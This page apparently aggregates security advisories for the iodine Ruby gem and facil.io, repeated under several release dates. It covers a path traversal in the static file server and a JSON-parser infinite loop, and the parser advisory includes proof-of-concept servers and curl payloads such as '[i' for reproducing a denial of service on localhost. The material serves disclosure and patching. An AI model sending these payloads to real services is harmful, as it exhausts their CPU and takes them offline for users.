Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Dec 31, 2018

0.7.15 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Dec 24, 2018

0.7.14 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Dec 12, 2018

Activity

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